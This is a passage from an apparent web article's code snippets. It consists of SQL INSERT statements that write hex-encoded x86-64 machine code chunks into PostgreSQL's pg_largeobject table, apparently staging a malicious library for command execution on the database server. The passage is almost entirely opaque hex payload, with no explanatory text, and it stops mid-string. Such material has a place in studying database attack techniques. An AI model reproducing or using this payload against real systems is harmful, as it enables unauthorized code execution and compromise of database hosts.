2498bcee82ac2ffff488bd74c03f748c1e2034983caff498bff488bca48c1e903498bc2f348ab4c03fa4c3be57416492bec41883649ffc64d89174d8d7f084883ed0175ed498b450040b601488b08488919498b4508488b08488b44245048890133c9e82ff3ffff408ac6488b5c2458488b6c2460488b7424684883c420415f415e415d415c5fc3cccccc4488442418488954241048894c240855488bec4883ec40488d4510488945e84c8d4de0488d4518488945f04c8d45e8488d4520488945f8488d55e4b807000000488d4d288945e08945e4e8cdf8ffff4883c4405dc3cccccce9fff8ffffcccccc40555356574154415541564157488bec4883ec78488b05956401004833c4488945e833f64c894dd8894dbc498bf94d8be04c8bf2448bf94885d27519e8bbf6ffffc70016000000e890f5ffff4883c8ffe97202000040383274e24d85e474dd498b004885c074d540383074d0e88bf6ffff4c8bcf4d8bc4498bd6418bcf4c8be88b18895dc88930e86cffffff4883cfff488bf0483bc70f8519020000e85bf6ffff83380275278d57&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">12</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;5d498bcee847b700004885c075178d5730498bcee837b700004885c0750741807e013a7508488bf7e9e0010000488365c0004c8d45e033d2c745e050415448488d4dc0c645e400e8a8f7ffff488b4dc085c0740b83f8160f84f5010000eb054885c97508488bf7e997010000ba01000000b904010000e8ed200000488bd84885c00f846a010000488b4dc041b803010000488bd3e80f230000488945d04885c00f844b010000803b000f8442010000488bcf48ffc1803c0b0075f7488d73ffba5c0000004803f1488bcbe855b50000483bf07431ba2f000000488bcbe843b50000483bf0741f4c8d45b866c745b85c00ba04010000488bcbe87b21000085c00f8537010000488bc748ffc041803c060075f6488bcf48ffc1803c0b0075f74803c1483d040100000f83c40000004d8bc6ba04010000488bcbe83b21000085c00f850d010000e80af5ffff4c8b4dd84d8bc4488bd3418bcf832000e8f1fdffff488bf0483bc70f8589000000e8e4f4ffff8338027473e8baf4ffff833815746941bf2f000000488d7301418bd7488bcbe8bcb50000483bc37515418bd7488bcee8acb50000483bc6750541b701eb034532ffba5c000000488bcbe892b50000483bc37516ba5c000000488bcee880b50000483bc67504b001eb0232c04584ff750484c0740d448b7dbc488b4dd0e99afeffff488bf7488bcbe808f0ffff488b4dc08b5dc8e8fcefffff488365c00041837d0000750885db740441895d00488bc6488b4de84833cce8a5a6ffff4883c478415f415e415d415c5f5e5b5dc34883642420004533c94533c033d233c9e803f3ffffcc4883642420004533c94533c033d233c9e8edf2ffffcce9ebfcffffcccccc40534883ec50488b058b6101004833c448894424488bda4885c9751de8a3f3ffff832000e8bbf3ffffbb160000008918e88ff2ffff8bc3eb5ef7c3f9ffffff75db4c8d44242033d2ff15aac2000085c07516ff15d8c100008bc8e815f3ffffe880f3ffff8b00eb2ff6442420107526f644242001741fd1ebf6c3017418e842f3ffffc70005000000e857f3ffffc7000d000000ebca33c0488b4c24484833cce8bca5ffff4883c4505bc3cccc488bc44889580848896810488970184889782041564883ec3033db418be8488bfa488bf14885c97522385a28740c488b4a10e8b1eeffff885f2848895f1048895f1848895f20e90e0100003819755548395a187546385a28740c488b4a10e885eeffff885f28b902000000e8b8eeffff48894710488bcb48f7d81bd2f7d283e20c0f94c185d20f94c088472848894f1885d274078bdae9be000000488b4710668918eb9e4183c9ff895c24284c8bc648895c24208bcd418d510ae8794400004c63f085c07516ff15b8c000008bc8e8f5f1ffffe860f2ffff8b18eb7d488b4f184c3bf17643385f28740c488b4f10e8f5edffff885f284b8d0c36e829eeffff48894710488bcb48f7d81bd2f7d283e20c490f44ce85d20f94c088472848894f1885d20f856cffffff488b47104183c9ff894c24284c8bc68bcd4889442420418d510ae8f14300004863c885c00f8474ffffff48ffc948894f20488b6c24488bc3488b5c2440488b742450488b7c24584883c430415ec3cccc48895c240848897c241055488bec4883ec708bda488bf94885c9750ae8bbfdffffe9b3000000488365d000488d4db0488365d80033d2488365e000488365e800488365f000c645f800e8b6ebffff488b45b841b8e9fd00004439400c7513807dc8007442488b45b083a0a8030000fdeb35e8924b000085c075183845c8740b488b45b083a0a8030000fd41b801000000eb14807dc800740b488b45b083a0a8030000fd4533c0488d55d0488bcfe8d6fdffff85c0740583cbffeb0d488b4de08bd3e816fdffff8bd8807df8007409488b4de0e899ecffff8bc34c8d5c2470498b5b10498b7b18498be35dc3cc48895c24084c894c2420574883ec20498bf9498bd88b0ae8e45d000090488b03486308488bd1488bc148c1f8064c8d059c71010083e23f488d14d2498b04c0f644d038017409e8cd0000008bd8eb0ee880f0ffffc7000900000083cbff8b0fe8845e00008bc3488b5c24304883c4205fc3cccccc894c24084883ec384863d183fafe7515e82bf0ffff832000e843f0ffffc70009000000eb7485c978583b152d7501007350488bca4c8d052171010083e13f488bc248c1f806488d0cc9498b04c0f644c83801742d488d44244089542450895424584c8d4c2450488d54245848894424204c8d442420488d4c2448e80dffffffeb1be8baefffff832000e8d2efffffc70009000000e8a7eeffff83c8ff4883c438c3cccccc48895c2408574883ec204863f98bcfe8e05f00004883f8ff750433dbeb5a488b0593700100b90200000083ff0175094084b8c8000000750d3bf97520f68080000000017417e8aa5f0000b901000000488bd8e89d5f0000483bc374be8bcfe8915f0000488bc8ff1514be000085c075aaff1592bd00008bd88bcfe8b95e0000488bd74c8d052f70010083e23f488bcf48c1f906488d14d2498b0cc8c644d1380085db740c8bcbe8a1eeffff83c8ffeb0233c0488b5c24304883c4205fc3cccccc4883ec284885c97515e8eeeeffffc70016000000e8c3edffff83c8ffeb038b41184883c428c3cccc488bc44889580848896810488970184889782041564883ec208b05916f010033dbbf0300000085c07507b800020000eb053bc70f4cc74863c8ba0800000089056c6f0100e89f19000033c9488905666f0100e82deaffff48391d5a6f0100752fba08000000893d456f0100488bcfe87519000033c94889053c6f0100e803eaff&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">13</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;ff48391d306f0100750583c8ffeb75488beb488d355f5c01004c8d35405c0100498d4e304533c0baa00f0000e8af4a0000488b05006f01004c8d05116f0100488bd548c1fa064c893403488bc583e03f488d0cc0498b04d0488b4cc8284883c1024883f9027706c706feffffff48ffc54983c6584883c3084883c6584883ef01759e33c0488b5c2430488b6c2438488b742440488b7c24484883c420415ec3cc40534883ec20e8ad040000e8545e000033db488b0d7f6e0100488b0c0be8b2010000488b056f6e0100488b0c034883c130ff15e9bb00004883c3084883fb1875d1488b0d506e0100e817e9ffff488325436e0100004883c4205bc3cc4883c13048ff25a9bb0000cc4883c13048ff25a5bb0000cc40534883ec20488bd948832100b908000000e8291e000090488d4c2430e852000000488b104889134885d27416836210004883622800488322004883620800834a18ffb908000000e8471e0000488bc34883c4205bc3cccc834918ff33c0488901488941088941104889411c48894128874114c348895c240848896c24104889742418574883ec20488b3d956d0100488bf148632d836d01004883c7184883c5fd488d2cef483bfd0f8494000000488b1f4885db743d8b4314c1e80da801752d488bcbe820ffffff0f0d4b148b43148bc80fbae90df00fb14b1475f3c1e80df6d0a8017558488bcbe807ffffff4883c708ebb2ba580000008d4aa9e85417000033c9488907e8e6e7ffff488b074885c07430834818ff4533c0488b0fbaa00f00004883c130e8a2480000488b1ff0814b1400200000488bcbe8abfeffff48891eeb0448832600488b5c2430488bc6488b742440488b6c24384883c4205fc3cccc40534883ec208b4114488bd9c1e80da80174278b4114c1e806a801741d488b4908e86ae7fffff0816314bffeffff33c0488943084889038943104883c4205bc348895c24084c894c2420574883ec20498bf9498bd8488b0ae82bfeffff90488b5308488b03488b004885c0745a8b48148bc1c1e80da801744e8bc124033c027505f6c1c0750a0fbae10b7204ff02eb37488b4310803800750f488b03488b088b4114d1e8a801741f488b03488b08e8e501000083f8ff7408488b4308ff00eb07488b43188308ff488b0fe8c5fdffff488b5c24304883c4205fc3cccc48895c24084c894c2420565741564883ec60498bf1498bf88b0ae8e51b000090488b1dc16b0100486305b26b01004c8d34c348895c2438493bde0f8488000000488b034889442420488b174885c074218b48148bc1c1e80da80174158bc124033c027505f6c1c0750e0fbae10b7208ff024883c308ebbb488b5710488b4f08488b074c8d4424204c89442440488944244848894c24504889542458488b442420488944242848894424304c8d4c24284c8d442440488d542430488d8c2488000000e89efeffffeba98b0ee8891b0000488b9c24800000004883c460415e5f5ec3884c240855488bec4883ec4083652800488d4528836520004c8d4de0488945e84c8d45e8488d4510488945f0488d55e4488d4520488945f8488d4d18b8080000008945e08945e4e8d4feffff807d10008b45200f4545284883c4405dc3cccccc48895c24084889742410574883ec20488bd98b49148bc124033c02754bf6c1c074468b3b2b7b0883631000488b730848893385ff7e32488bcbe88afaffff8bc8448bc7488bd6e8796400003bf8740af0834b141083c8ffeb118b4314c1e802a8017405f0836314fd33c0488b5c2430488b7424384883c4205fc3cccc40534883ec20488bd94885c9750a4883c4205be90cffffffe867ffffff85c075218b4314c1e80ba8017413488bcbe819faffff8bc8e8fe5a000085c0750433c0eb0383c8ff4883c4205bc3ccb101e9d1feffffcc4883ec28488bd14885c97515e8e3e8ffffc70016000000e8b8e7ffff83c8ffeb1d8369100179094883c428e9d0100000488b010fb60848ffc04889028bc14883c428c3cce9b7ffffffcccccc488bc44889580848896810488970184889782041564881ec90000000488d4888ff15aeb600004533f66644397424620f849a000000488b4424684885c00f848c000000486318488d7004bf002000004803de39380f4c388bcfe8ce5400003b3d406d01000f4f3d396d010085ff7460418bee48833bff744748833bfe7441f60601743cf60608750d488b0bff153bb7000085c0742a488bc54c8d0505690100488bcd48c1f90683e03f498b0cc8488d14c0488b03488944d1288a068844d13848ffc548ffc64883c3084883ef0175a34c8d9c2490000000498b5b10498b6b18498b7320498b7b28498be3415ec3cccccc488bc44889580848896810488970184889782041564883ec2033f64533f64863ce488d3d8c680100488bc183e13f48c1f806488d1cc9488b3cc7488b44df284883c0024883f801760a804cdf3880e98f000000c644df38818bce85f6741683e901740a83f901b9f4ffffffeb0cb9f5ffffffeb05b9f6ffffffff1555b60000488be8488d48014883f901760b488bc8ff1547b60000eb0233c085c074200fb6c848896cdf2883f9027507804cdf3840eb3183f903752c804cdf3808eb25804cdf384048c744df28feffffff488b05ca6701004885c0740b498b0406c74018feffffffffc64983c60883fe030f852dffffff488b5c2430488b6c2438488b742440488b7c24484883c420415ec340534883ec20b907000000e89c17000033db33c9e81753000085c0750ce8e2fdffffe8cdfeffffb301b907000000e8cd1700008ac34883c4205bc3cc48895c2408574883ec2033db488d3d59670100488b0c3b4885c9740a&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">14</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;e8835200004883243b004883c3084881fb0004000072d9488b5c2430b0014883c4205fc348895c24084889742410574883ec2033c04c8bc2488901488bd98941088b05b96f01008941048a02eb0649ffc0418a003c2074f6be020000003c61741d3c7274103c770f8555020000c70101030000eb0fc7410401000000eb09c7010901000089710449ffc04532c94032ff4532d24532dbb201418038000f8445010000410fbe0883f9530f8fa60000000f848900000083e9200f841701000083e90b744983e901743c83e918742583e90a741783f9040f85e70100004584d20f85e5000000830b10eb610fba2b07e9e10000008b03a8400f85cd00000083c840e9cd00000041b301e9bd0000004084ff0f85b40000008b0340b7014084c60f85a600000083e0fe408ad70bc689038b430483e0fc83c804894304e9970000004584d20f8582000000830b2041b201418ad2e98000000083e954746783e90e745383e901743c83e90b742b83e906741783f9040f854b0100008b030fbae009734a0fbae80aeb4c8b03a900c00000753b0fbae80eeb3d4584c975300fba73040beb0a4584c975240fba6b040b41b101418ad1eb238b03a900c00000750e0fbae80feb108b030fbae00c730432d2eb080fbae80c8903b20133c084d20f95c04c03c084d20f85b1feffff4584db498d7801490f44f8eb0348ffc7803f2074f84584db751244381f0f85b8000000c6430801e9bf00000041b803000000488d1554c80000488bcfe828dfffff85c00f85920000004883c703eb0348ffc78a073c2074f73c3d757f48ffc7803f2074f8be05000000488d1521c80000448bc6488bcfe85a63000085c075060fba2b12eb40be08000000488d1508c80000448bc6488bcfe83963000085c075060fba2b11eb1fbe07000000488d15efc70000448bc6488bcfe81863000085c0751a0fba2b10488d0c37eb0348ffc18a013c2074f784c0e942ffffffe88de3ffffc70016000000e862e2ffff488b742438488bc3488b5c24304883c4205fc3cccccc488bc4488958084889681048897020574883ec50488be9498bf9488d48e8418bf0e816fdffff33dbf20f10008b4008f20f11442430894424383ac37447448b442430488d4c2470448bcec744242080010000488bd5e8ba6a000085c07526ff05f46301008b442434f00947148b442470895f1048895f2848895f0848891f488bdf894718488b6c2468488bc3488b5c2460488b7424784883c4505fc3405355565741544155415641574883ec384c63e9488bf2498bc5488d0dab63010083e03f4d8bfd49c1ff0641bb0a000000488d3cc04a8b04f94c8b54f8284c899424980000004d85c0740d6644391a7507804cf83804eb058064f838fb4a8d2c424c8bf6488bde483bf50f83be010000ba0d000000448d420d410fb70666413bc00f8484010000498d4e02663bc2740f6689034c8bf14883c302e9fe000000483bcd732566443919750b410fb7c3b904000000eb05b9020000004c03f16689034883c302e9cf0000004883642420004c8d8c24900000004c8bf1488d942480000000498bca41b802000000ff159bb0000085c00f840a01000083bc2490000000000f84fc000000498bc54d8bc583e03f49c1f80641bb0a0000004c8d0cc0488d05a76201004a8b04c042f644c83848747a0fb78424800000004c8d530266413bc375066644891beb3eb90d000000668984248800000066890b33d2488d1d6a6201004a8b04c34a8d0cc88a8414880000008844113a48ffc24883fa027ce44a8b04c346885cc83c498bda4c8b94249800000041b81a000000ba0d0000004c3bf50f82d3feffffe9830000006644399c2480000000750f483bde750a6644891b4883c302ebc548c7c2feffffff418bcd448d4203e8040c000041bb0a0000006644399c248000000074a14c8b942498000000ba0d0000006689134883c302448d420deb9a41bb0a000000ebde488d05ba6101004a8b0cf88a44f938a84075080c028844f938eb08664489034883c302482bde48d1fb8d041b4883c438415f415e415d415c5f5e5d5bc34c894c24205355565741544155415641574883ec384c63e94c8d0d157effff498bc5498bed83e03f48c1fd06488bf2488d3cc0498b84e950e301004c8b54f8284c899424900000004d85c0740c803a0a7507804cf83804eb058064f838fb4e8d3c024c8bf6488bde493bf70f8353010000418a063c1a0f842a010000498d4e013c0d740d88034c8bf148ffc3e90a010000493bcf732180390a750ac6030ab802000000eb078803b80100000048ffc34c03f0e9e40000004883642420004c8d8c24880000004c8bf1488d942480000000498bca41b801000000ff1565ae000085c00f849f00000083bc2488000000000f8491000000498bc54c8d0d357dffff83e03f498bd548c1fa064c8d04c0498b84d150e3010042f644c0384874308a8c24800000004c8b94249000000080f90a7507880b48ffc3eb63c6030d48ffc3498b84d150e3010042884cc03aeb4e80bc24800000000a750a483bde7505c6030aeb2f41b8010000004883caff418bcde8210a000080bc24800000000a4c8d0db27cffff740feb074c8d0da77cffffc6030d48ffc34c8b9424900000004d3bf70f82cdfeffffeb1e498b8ce950e301008a44f938a84075080c028844f938eb06c6031a48ffc32bde750733c0e93e010000498b8ce950e30100807cf9390075078bc3e9280100004863d34803d6488d5aff803b007c08488bdae9aa000000ba01000000eb0f83fa047718483bde721348ffcbffc20fb6034280bc08c0d101000074e3440fb603430fbe8408c0d1010085c07513e852de&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">15</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;ffffc7002a00000083c8ffe9c9000000ffc03bc275078bc24803d8eb55f644f93848743b48ffc3448844f93a83fa0272118a0348ffc3498b8ce950e301008844f93b83fa0375118a0348ffc3498b8ce950e301008844f93c8bc2482bd8eb13f7da41b8010000004863d2418bcde8ee0800008b8424a00000002bde89442428448bcb488b8424980000004c8bc633d24889442420b9e9fd0000e8b62f00008bd085c07512ff15f6ab00008bc8e833ddffffe952ffffff2bc3488d0d417bffff488b8ce950e301008064f93dfdf7d81ac024020844f93d8d04124883c438415f415e415d415c5f5e5d5bc3cccc488bc448895810488978184c8960208948084155415641574883ec20458bf04c8be24863f983fffe7518e819ddffff832000e831ddffffc70009000000e9ba00000085c90f889a0000003b3d146201000f838e000000488bc74c8bff49c1ff06488d0dfd5d010083e03f4c8d2cc04a8b04f942f644e83801746a4181feffffff7f7615e8c0dcffff832000e8d8dcffffc70016000000eb5f8bcfe8f549000083cbff488d05bb5d01004a8b04f842f644e838017515e8aedcffffc70009000000e883dcffff832000eb0f458bc6498bd48bcfe8450000008bd88bcfe89c4a00008bc3eb1be85fdcffff832000e877dcffffc70009000000e84cdbffff83c8ff488b5c2448488b7c24504c8b6424584883c420415f415e415dc3cccccc48895c2418488954241055565741544155415641574883ec604c63e14c8bd2458be84183fcfe7519e8ffdbffff33f68930e816dcffffc70009000000e9fa03000033f685c90f88d9030000443b25f66001000f83cc030000498bc4448d4e0183e03f4c894c24484d8bc4488d0dd75c010049c1f8064c894424404c8d34c04a8b0cc1428a44f1384184c10f84940300004181fdffffff7f7617e88edbffff8930e8a7dbffffc70016000000e9860300004585ed0f8467030000a8020f855f0300004d85d274d3460fbe5cf139488bde4a8b44f128418bd34889442438bf0400000044889c24a0000000412bd1743d413bd17526418bc5f7d04184c1751ce82adbffff8930e843dbffffc70016000000e818daffffe99b010000418bed488d15255c01004d8bfae984000000418bc5f7d04184c174c8418bedd1ed3bef0f42ef8bcde8f6d6ffff33c9488bd8e8acd6ffff33c9e8a5d6ffff4c8bfb4885db751be8e8daffffc7000c000000e8bddaffffc70008000000e93a01000033d2418bcc448d4201e8d00500004c8b442440488d15b45b0100448a9c24a000000041b9010000004a8b0cc24a8944f1304a8b0cc242f644f138488bfe4c897c245041ba0a000000747a428a44f13a413ac2747085ed746c418807ffcd4a8b04c24d03f9418bf9468854f03a4584db74534a8b04c2428a4cf03b413aca744585ed744141880f418d7af84a8b04c24d03f9ffcd468854f03b453ad975274a8b04c2428a4cf03c413aca741985ed741541880f418d7af94a8b04c24d03f9ffcd468854f03c418bcce8ca65000085c00f8484000000488b442440488d0dee5a0100488b04c1423874f0387d6d488b4c2438488d542430ff1503a9000085c0745980bc24a0000000027554488b4c24384c8d8c24b8000000d1ed498bd7448bc54889742420ff15dda8000085c0751fff15eba700008bc8e828d9ffff83cfff488bcbe83dd5ffff8bc7e9780100008b8424b80000008d3c47eb404088742448488b4c24384c8d8c24b8000000448bc54889742420498bd7ff1513a8000085c00f84ed0000004439ac24b80000000f87df00000003bc24b8000000488b5424404c8d1d2a5a0100498b04d3423874f0387d8e80bc24a0000000024c63c774254c8b8c24a8000000498bc548d1e8498bd7418bcc4889442420e870f8ffff8bf8e95cffffff49d1e8403874244874734c8b542450498bc2498bfa4f8d0c424d3bd17352be0a0000000fb7086683f91a743a6683f90d751a4c8d40024d3bc1731166413930750b0fb7ce41b804000000eb0641b8020000004903c066890f4c8d4702498bf8493bc172bfeb0a498b04d342804cf03802492bfa48d1ff03ffe9dffeffff488b542450418bcce897f5ffffe96affffffff15a8a6000083f805751be852d8ffffc70009000000e827d8ffffc70005000000e9a4feffff83f86d0f8594feffff8bfee997feffff33c0eb1ae803d8ffff8930e81cd8ffffc70009000000e8f1d6ffff83c8ff488b9c24b00000004883c460415f415e415d415c5f5e5dc3cccc48895c2408488974241048897c241841564883ec20488bf94885c97515e8d2d7ffffc70016000000e8a7d6ffffe91d0100008b4114c1e80da8010f840f0100008b4114c1e80ca8010f85010100008b4114d1e8a801740af083491410e9ee000000f0834914018b4114a9c00400007505e8a3630000488b5f08488bcf48891fe874e8ffff448b47208bc8488bd3e8faf9ffff8947108d480183f9010f869c0000008b471483ceffa806755d488bcfe845e8ffff3bc6743c488bcfe839e8ffff83f8fe742f488bcfe82ce8ffff4863d84c8d351a580100488bcf48c1fb06e816e8ffff83e03f488d0cc0498b04de488d14c8eb07488d15164601008a423824823c827505f0834f1420817f2000020000751b8b4714c1e806a80174118b4714c1e808a8017507c7472000100000488b070177100fb63048ffc0488907eb15f7d81bc083e00883c008f00947148367100083ceff488b5c24308bc6488b742438488b7c24404883c420415ec3cccc48895c24104889742418894c24085741544155415641574883ec20458bf04c8bfa4863d983fbfe7518e83ad6ffff832000e852d6&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">16</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;ffffc70009000000e99200000085c978763b1d395b0100736e488bc3488bf348c1fe064c8d2d2657010083e03f4c8d24c0498b44f50042f644e0380174498bcbe83b4300004883cfff498b44f50042f644e038017515e8f9d5ffffc70009000000e8ced5ffff832000eb10458bc6498bd78bcbe844000000488bf88bcbe8e6430000488bc7eb1ce8a8d5ffff832000e8c0d5ffffc70009000000e895d4ffff4883c8ff488b5c2458488b7424604883c420415f415e415d415c5fc3cc48895c24084889742410574883ec204863d9418bf88bcb488bf2e8b14500004883f8ff7511e86ed5ffffc700090000004883c8ffeb53448bcf4c8d442448488bd6488bc8ff158aa4000085c0750fff1590a300008bc8e8cdd4ffffebd3488b4424484883f8ff74c8488bd34c8d052256010083e23f488bcb48c1f906488d14d2498b0cc88064d138fd488b5c2430488b7424384883c4205fc3cccccce96ffeffffcccccce957ffffffcccccc40534883ec204c8bc2488bd94885c9740e33d2488d42e048f7f3493bc07243490fafd8b8010000004885db480f44d8eb15e8c23a000085c07428488bcbe82a34000085c0741c488b0deb5d01004c8bc3ba08000000ff158da300004885c074d1eb0de885d4ffffc7000c00000033c04883c4205bc3cccccc48895c240848896c24104889742418574883ec20498be8488bda488bf14885d2741d33d2488d42e048f7f3493bc0730fe83fd4ffffc7000c00000033c0eb414885f6740ae8bb600000488bf8eb0233ff480fafdd488bce488bd3e865d0ffff488bf04885c07416483bfb7311482bdf488d0c384c8bc333d2e8439effff488bc6488b5c2430488b6c2438488b7424404883c4205fc3cccccc40534883ec2033db4c8bc94885c9740c4885d274074d85c0751b8819e8bbd3ffffbb160000008918e88fd2ffff8bc34883c4205bc33819740948ffc14883ea0175f34885d27505418819ebd04c2bc1418a0408880148ffc184c074064883ea0175ed4885d275c6418819e86dd3ffffbb22000000ebb0cccc48895c24104889742418574883ec204883cfff488bf2488bd94885c974028939488d42024883f801766e83caff488bceff1532a2000085c07522488d542430488bceff1528a2000085c074104885db74068b4424308903488bfeeb31ff154ea1000083f8067518e8f8d2ffffc7000a000000e8cdd2ffffc70006000000eb078bc8e86ed2ffff4885db7402893b488bceff1592a10000eb0be8c7d2ffffc7000a000000488b5c2438488bc7488b7424404883c4205fc3cccc40534883ec2033db4885d27510e89ad2ffffc70016000000e99b0000004d85c07402881a4983f80176e341b33beb0348ffc18a01413ac374f64d8d48ff4c8bd14c03ca84c07465413ac3745848ffc13c2275348a014c8bc184c0741f8ac88ac180f9227416880a49ffc048ffc2493bd17423418a008ac884c075e384c0498d4801490f44c8eb0a880248ffc2493bd174048a01ebae881ae810d2ffffc70022000000eb1448ffc144381974f8493bca881a480f44cb488bd9488bc34883c4205bc3cccccc488bc4488958084889701048897818554154415541564157488d68d14881ec000100004533ed4c8bf2488bf14c896dd733d24c896ddf488d4c24504c896de74c896def418bfd4c896df74d8bf944886dff4d8be04c896da74c896daf4c896db74c896dbf4c896dc744886dcf4c896c24704c896c24784c896d874c896d8f4c896d9744886d9fe8a1cbffff488b442458bbe9fd000039580c751844386c2468740c488b44245083a0a8030000fd448bc3eb3ae8792b000085c0751b44386c2468740c488b44245083a0a8030000fd41b801000000eb1644386c2468740c488b44245083a0a8030000fd458bc5488d55d7488bcee8b8ddffff85c00f854d01000033d2488d4c2450e820cbffff488b44245839580c751844386c2468740c488b44245083a0a8030000fd448bc3eb3ae8fd2a000085c0751b44386c2468740c488b44245083a0a8030000fd41b801000000eb1644386c2468740c488b44245083a0a8030000fd458bc5488d55a7498bcee83cddffff85c00f85d1000000488b756f498bcd4885f6747f33d2488d4c2450e898caffff488b44245839580c751544386c24687447488b44245083a0a8030000fdeb39e8782a000085c0751a44386c2468740c488b44245083a0a8030000fdbb01000000eb1644386c2468740c488b44245083a0a8030000fd418bdd448bc3488d542470488bcee8b4dcffff488b7d8785c07549488bcf488b457f4d8bcf488b55b74d8bc44889442448488b45774889442440488b456748894c2438488b4de748894424308b455f894424288b455789442420ff15739e00008bd8eb03418bdd44386d9f7408488bcfe83acbffff44386dcf7409488b4db7e82bcbffff44386dff7409488b4de7e81ccbffff4c8d9c24000100008bc3498b5b30498b7338498b7b40498be3415f415e415d415c5dc3cc40534883ec2033db488d15455401004533c0488d0c9b488d0ccabaa00f0000e8b02b000085c07411ff0556560100ffc383fb0e72d3b001eb0933c9e82400000032c04883c4205bc34863c1488d0c80488d05fe530100488d0cc848ff25439d0000cccccc40534883ec208b1d14560100eb1d488d05db530100ffcb488d0c9b488d0cc8ff152b9d0000ff0df555010085db75dfb0014883c4205bc3cc4863c1488d0c80488d05aa530100488d0cc848ff25f79c0000cccccc48895c241048897424185741544155415641574883ec60418bf84c8bf14533ff4885c97535e846ceffff448938e85eceffffc70016000000e833cdff&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">17</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;ff83c8ff4c8d5c2460498b5b38498b7340498be3415f415e415d415c5fc383cbff8959048919f7c77f3fffff741ce801ceffff448938e819ceffffc70016000000e8eeccffff8bc3ebba8bc7b900c0000023c13bc174d741bc1800000044896424484c897c24508bc7c1e807f7d083e00189442458448bca4c8d442448488d542438488d4c2430ff150b9d000085c0750fff15099c00008bc8e846cdffffeba6e8eb3b00004863f089b424a80000003bf3752be89ccdffff448920e874cdffff448938488b4c2430ff154a9c0000488b4c2438ff153f9c0000e968ffffff4c8be64c8bee49c1fd06488d15614e0100488bc683e03f488d0cc048894c24404a8b04eac644c838894a8b04ea44887cc8394a8b04ea8064c83dfe8bcee8483b0000e86b3b00004c63f84489bc24a8000000443bfb752d488d0d144e01004a8b04e9488b4c2440c644c83800e805cdffffc70018000000e8daccffff832000e961ffffff498bc74d8bef49c1fd0683e03f488d1cc0488d0dd64d01004a8b04e9c644d838894a8b04e9c644d839004a8b04e98064d83dfe418bcfe8cb3a000083a4249000000000488d8c2490000000e86e59000085c00f8598000000b80080000085f8750f0fbae70e723539842490000000752c498bd448c1fa06498bc483e03f488d0cc04c8d05664d0100498b04d08064c8387f4b8b04e88064d8387feb074c8d054b4d01004084ff7921498bc448c1f8064183e43f4b8d0ce4498b04c0804cc838104b8b04e8804cd83810488b5424308bcee871390000488b542438418bcfe86439000041893645897e0433c0e9b2fdffff4883642420004533c94533c033d233c9e8edcaffff9040534883ec404863d94885d27510e8d9cbffffc70016000000e9be00000083fbfe7510e8c4cbffffc70009000000e9ae00000085c90f88960000003b1da75001000f838a000000488bcb488bc348c1f8064c8d05904c010083e13f488d0cc9498b04c0f644c838017467488d4c2430e848e5fffff20f1000f20f114424208b40088944242884c07458488d4c2458e819deffff488b4424584885c0750de84acbffffc70018000000eb37ff05284c01008b4c2424f0094814488b442458895818488b4c2458e8d6ddffff488b442458eb12e816cbffffc70009000000e8ebc9ffff33c04883c4405bc3cccccce90fffffffcccccc4533c0e90000000048895c24084889742410574883ec408bf2488bd9498bd0488d4c242033ffe811c5ffff4885db7512e8c3caffffc70016000000e898c9ffffeb5b4c8b44243041397808750f8bd6488bcbe8718a0000488bf8eb410fb60b4c8bcb42f644011904742348ffc30fb61384d27410c1e1080bca3bf14c0f45cf498bf9eb124885ff480f44fbeb098ad13bf17503488bfb48ffc384d275bf807c243800740c488b4c242083a1a8030000fd488b5c2450488bc7488b7424584883c4405fc3cc48895c24084c894c2420574883ec20498bd9498bf88b0ae818fbffff90488b07488b08488b8188000000f0ff008b0be854fbffff488b5c24304883c4205fc3cc48895c24084c894c2420574883ec20498bd9498bf88b0ae8d8faffff90488b0f33d2488b09e8a6020000908b0be816fbffff488b5c24304883c4205fc3cccccc48895c24084c894c2420574883ec20498bd9498bf88b0ae898faffff90488b4708488b10488b0f488b12488b09e85e020000908b0be8cefaffff488b5c24304883c4205fc3cccccc48895c24084c894c2420574883ec20498bd9498bf88b0ae850faffff90488b07488b08488b89880000004885c9741e83c8fff00fc10183f8017512488d05a6390100483bc87406e8d0c4ffff908b0be86cfaffff488b5c24304883c4205fc3cc4055488bec4883ec5048894dd8488d45d8488945e84c8d4d20ba010000004c8d45e8b805000000894520894528488d45d8488945f0488d45e0488945f8b8040000008945d08945d4488d0541520100488945e0895128488d0d4ba90000488b45d8488908488d0d